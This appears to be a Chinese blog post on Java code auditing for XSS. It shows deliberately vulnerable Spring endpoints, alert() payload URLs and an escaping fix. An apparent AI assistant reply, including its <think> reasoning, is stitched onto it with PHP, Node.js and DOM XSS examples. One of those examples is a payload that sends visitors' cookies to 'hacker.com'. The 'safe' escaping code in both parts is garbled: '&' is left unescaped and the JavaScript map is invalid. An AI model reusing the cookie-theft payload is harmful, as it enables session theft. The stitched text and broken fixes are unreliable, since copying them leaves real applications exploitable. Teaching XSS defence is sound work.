Java代码审计之XSS攻击

深入了解Java中的XSS攻击

存在XSS漏洞的java代码:

第一段

反射型XSS

@RequestMapping("/reflect")
    @ResponseBody
    public static String reflect(String xss) {
        return xss;
    }

payload

http://localhost:8888/xss/reflect?xss=%3Cscript%3Ealert(%27tpa%27);%3C/script%3E

在这里插入图片描述

第二段

存储型XSS

@RequestMapping("/stored/store")
    @ResponseBody
    public String store(String xss, HttpServletResponse response) {
        Cookie cookie = new Cookie("xss", xss);
        response.addCookie(cookie);
        return "Set param into cookie";
    }

访问如下地址存储脚本到Cookie中

http://localhost:8888/xss/stored/store?xss=%3Cscript%3Ealert(%27tpa%27)%3C/script%3E

在这里插入图片描述

当后端再获取Cookie返回时

@RequestMapping("/stored/show")
@ResponseBody
public String show(@CookieValue("xss") String xss) {
    return xss;
}

访问

http://localhost:8888/xss/stored/show

成功弹窗

在这里插入图片描述

修复

目前最有效的办法,对特殊字符进行实体转义。

XSS安全代码:

@RequestMapping("/safe")
    @ResponseBody
    public static String safe(String xss) {
        return encode(xss);
    }

    private static String encode(String origin) {
        origin = StringUtils.replace(origin, "&", "&");
        origin = StringUtils.replace(origin, "<", "&lt;");
        origin = StringUtils.replace(origin, ">", "&gt;");
        origin = StringUtils.replace(origin, "\"", "&quot;");
        origin = StringUtils.replace(origin, "'", "&#x27;");
        origin = StringUtils.replace(origin, "/", "&#x2F;");
        return origin;
    }

XSS排查

利用xsstriker等工具进行扫描

手动输入特殊字符看被没被实体转义

关键字:getParamter、<%=、param

<think>好的,我需要帮助用户找到关于XSS攻击代码示例,并且解释如何实现跨站脚本攻击。首先,我应该回顾用户提供的引用内容,确保引用的正确性。用户提到了三种XSS类型:反射型、存储型和DOM型,引用[1]、[2]、[3]提供了相关的信息。 首先,反射型XSS通常出现在URL参数中,攻击者构造恶意链接,用户点击后触发脚本执行。例如,在PHP中,如果页面直接输出用户输入的参数而不做过滤,就可能存在漏洞。我需要提供一个简单的PHP示例,展示未转义的用户输入如何导致XSS。 接下来是存储型XSS,这种攻击将恶意脚本存储在服务器上,比如数据库中的评论字段。当其他用户访问包含该评论的页面时,脚本会自动执行。我需要一个使用Node.js和Express的示例,展示如何将用户输入存储并显示,导致XSS。 然后是DOM型XSS,这种攻击不经过服务器,完全在客户端通过修改DOM实现。例如,JavaScript从URL参数中获取数据并动态写入页面,如果未对数据进行转义,就会产生漏洞。我需要一个基于纯HTML和JavaScript的示例,展示如何通过URL参数触发XSS。 同时,我需要确保代码示例符合安全规范,强调这些代码仅用于教育目的,实际应用中必须进行输入过滤和输出编码。此外,根据用户的引用内容,正确添加引用标识,如反射型XSS流程来自引用[2],DOM型来自引用[3]。 最后,生成相关问题,帮助用户进一步理解XSS攻击的防御和检测方法。确保整个回答结构清晰,符合用户要求的格式,使用中文,并正确应用LaTeX格式的数学表达式(虽然此处可能用不上,但需注意其他部分是否符合要求)。</think>### XSS攻击示例及原理 XSS攻击通过向网页注入恶意脚本实现,主要分为反射型、存储型、DOM型三类[^1][^2]。以下是具体实现示例: #### 1. 反射型XSS(非持久化) ```php <!-- 漏洞页面(PHP示例) --> <?php $name = $_GET['name']; // 未过滤用户输入 echo "Hello, $name"; // 直接输出到页面 ?> ``` 攻击者构造恶意链接: `http://example.com/vuln.php?name=<script>alert('XSS')</script>` 用户点击后触发弹窗[^2] #### 2. 存储型XSS(持久化) ```javascript // Node.js留言板示例(危险代码) app.post('/comment', (req, res) => { const comment = req.body.text; // 未过滤输入 db.save(comment); // 存储到数据库 }); app.get('/comments', (req, res) => { const comments = db.fetchAll(); res.send(comments); // 直接输出未转义内容 }); ``` 攻击者提交: `<script>new Image().src='http://hacker.com/?cookie='+document.cookie;</script>` 所有访问者都会泄露cookie #### 3. DOM型XSS ```html <!-- 前端漏洞页面 --> <script> const urlParams = new URLSearchParams(window.location.search); document.getElementById("welcome").innerHTML = urlParams.get('msg'); // 直接操作DOM </script> ``` 攻击链接: `http://example.com/#msg=<img src=x onerror=alert(1)>` 触发图片加载错误执行脚本[^3] §§ 1. 所有用户输入需验证过滤(白名单机制) 2. 输出时进行HTML实体编码(如转义`<`为`<`) 3. 使用CSP(内容安全策略)限制脚本来源 4. 设置HttpOnly属性保护cookie ```javascript // 安全输出示例(使用转义函数) function escapeHTML(str) { return str.replace(/[&<>'"]/g, tag => ({'&':'&','<':'<','>':'>','"':'"',"'":'''})[tag]); } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值